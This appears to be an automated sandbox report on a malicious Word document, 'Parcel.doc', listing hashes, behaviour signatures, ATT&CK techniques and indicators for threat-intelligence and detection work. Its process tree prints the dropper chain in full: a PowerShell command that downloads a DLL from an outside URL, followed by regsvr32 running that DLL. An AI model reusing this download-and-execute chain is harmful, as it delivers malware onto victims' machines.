Analysis

  • max time kernel
    138s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    07-07-2020 12:18

General

  • Target

    Parcel.doc

  • Size

    153KB

  • MD5

    fa02ac2e4a3f00acdaa60c359afcfdd9

  • SHA1

    f2917cf0b679650c3a679381f4d34bd1e12674c0

  • SHA256

    798868c3e5106b388a0ff01e3f5894fe6d5abfa0789d9efae9b3fe0d0d0db7e6

  • SHA512

    81f9ec1e2b59189e2e6a3fdfbd8b7e33dec15ff4d41ae57884efde51af247fbf53065d0275a8bbe19e235893d905a52de3ba1a310756b54052ca6567a157178d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://tattooartcreations.com/wp-includes/js/tinymce/themes/inlite/crypt_da11.dll

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Parcel.doc" /o ""
    1⤵
    • Suspicious use of WriteProcessMemory
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    PID:1620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "& {(New-Object Net.WebClient).DownloadFile('http://tattooartcreations.com/wp-includes/js/tinymce/themes/inlite/crypt_da11.dll','C:\Users\Admin\AppData\Roaming\filename.dll')}"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Suspicious use of AdjustPrivilegeToken
      PID:1984
    • C:\Windows\System32\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Roaming\filename.dll,DllRegisterServer
      2⤵
      • Process spawned unexpected child process
      PID:3192

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1984-5-0x0000000000000000-mapping.dmp
  • memory/3192-6-0x0000000000000000-mapping.dmp